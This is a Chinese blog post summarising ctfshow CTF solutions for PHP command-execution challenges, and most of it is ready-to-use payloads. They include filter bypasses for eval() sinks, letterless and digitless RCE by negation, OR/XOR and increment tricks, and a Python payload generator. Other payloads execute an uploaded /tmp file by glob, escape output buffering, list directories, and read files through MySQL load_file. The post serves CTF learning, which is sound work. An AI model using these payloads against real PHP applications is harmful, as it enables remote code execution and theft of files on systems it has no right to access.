ctfshow命令执行刷题总结

最新推荐文章于 2023-04-24 15:44:46 发布

XiLitter

最新推荐文章于 2023-04-24 15:44:46 发布

阅读量743

点赞数 1

分类专栏： # 基础漏洞文章标签： php 开发语言 web安全

本文链接：https://blog.csdn.net/m0_62422842/article/details/125507970

版权

基础漏洞专栏收录该内容

7 篇文章 0 订阅

订阅专栏

过滤system函数和php

if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }

那还有其他函数可以使用，比如说

passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()

可以使用的payload有

c=echo `nl fl''ag.ph''p`;
c=echo `cat f*`;
c=echo `nl fla''g.p''hp`;
c=echo `nl fla?????`;

过滤了一些敏感命令

    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }

cat被过滤可以用其他的命令来代替，比如

more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示，可以看出 tac 是cat 的反向显示
tail:查看尾几行
nl：显示的时候，顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器，这个也可以查看
vim:一种编辑器，这个也可以查看
sort:可以查看
uniq:可以查看 file -f:报错出具体内容 grep

也有相关文件读取函数：

file_get_content()
readfile()
highlight_file()
show_source()

空格过滤绕过姿势：

%09（要有php环境）${IFS}   $IFS$9  <>  \x20

一个骚姿势:

c=eval($_GET[1]);&1=system('nl flag.php');

可以通吃好几关。

过滤了括号

include函数是不需要括号的。利用文件包含来读取flag。

c=include$_POST["a"]?>
a=php://filter/read=convert.base64-encode/resource=flag.php

分号可以用?>来代替，涉及到文件包含姿势也就更多了，大同小异。还可以通过nginx的日志来获取到shell。（日志文件包含）

过滤数字字母（无字母数字RCE）

取反（需要~符号）

举一个实例，构造一个system('ls')这个命令。

得到取反后的结果，因为可能会有不可见字符，所以 url编码一下。构造payload的时候再用~取反回来就行，（取反原理：PHP ~(按位取反)位运算符_Williamslife的博客-CSDN博客_php 按位取反）

异或（需要^符号）

相同数字为0，不同数字为1.比如1^1=0，1^0=0。在进行字符异或时，先转为二进制而进行异或。这样通过两个字符就可以异或为一个新的字符。直接上异或脚本。

import requests
import re

xiao1 = ""
xiao2 = ""
url = 'http://bb034458-7bb2-4376-9947-382f39e45cd1.challenge.ctf.show/'
cit = []         #收集没有被过滤的字符
for i in range(255):
    a = chr(i)
    wer = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-', a, re.I)
    # print(wer)
    if (wer):
        continue
    else:
        cit.append(i)       #添加元素
pay1 = "system"  # 函数名，如system
pay2 = "cat flag.php"  # 参数，例如ls


def text(a, b):
    global xiao1
    global xiao2
    for i in range(0, len(cit)):
        for j in range(i, len(cit)):
            if cit[i] | cit[j] == ord(b[a]):    #找出哪两个字符异或得到目标字符
                xiao1 += chr(cit[i])   #添加
                xiao2 += chr(cit[j])   #添加
                return

for m in range(0,len(pay1)):  #遍历目标字符串
    text(m,pay1)
data1 = "(\"" + xiao1 + "\"|\"" + xiao2 + "\")"  #需要构造如(system)(ls)的形式所以要加大括号
xiao1 = ""
xiao2 = ""
for m in range(0,len(pay2)):
    text(m,pay2)
data2 = "(\"" + xiao1 + "\"|\"" +xiao2 + "\")"
data = {"c":data1 + data2}
res = requests.post(url=url, data=data).text#收到响应内容
print(res)

自增（需要+字符）

通过自增改变字符的ascli码值来获得新的字符。++'字符1'='字符二'。

骚姿势一（linux系统）

shell下是可以用点来执行任意脚本的，而且不需要执行权限。如果我们上传一个可控的文件，再用点来执行这个文件，对于陌生的上传文件，php会把它放在临时目录/tmp文件夹下，

post上传文件的数据包：

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名：</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

这种文件的保存路径在linux下一般为/tmp/php??????。在上传的文件中构造命令如下：

#!/bin/sh
ls

上传文件抓包，再传参，怎么传参执行文件呢？构造payload:

?c=.+/???/????????[@-[]

@字符和[字符是大写字母的边界。在这里来匹配大写字母。（相关知识链接：无字母数字webshell之提高篇，）（无字母数字的命令执行(ctfshow web入门 55）_Firebasky的博客-CSDN博客_无字符命令执行）

骚姿势二

利用$()数学运算。linux运行操作看一下。

$((~$(())))运算为-1，那么我们就可以构造任意数字了。麻烦死了。。

ob缓存

看题目代码：

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

只需要exit强制退出即可。如payload:

c=require("/flag.txt");exit();

需要遍历

利用php内置类和glob协议来遍历目录找到flag。相关payload:

c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
} 
exit(0);
?>

遍历脚本：

import requests
url='http://31f2752e-4051-467d-a2b9-8ab036691177.challenge.ctf.show/'
print(requests.post(url,data={'c':'''?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0);?>'''}).text)
print(requests.post(url,{'c':f'''?><?php require "{input('FileName:')}"; exit();'''}).text)

利用mysql读取

需要知道数据库名。payload:

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);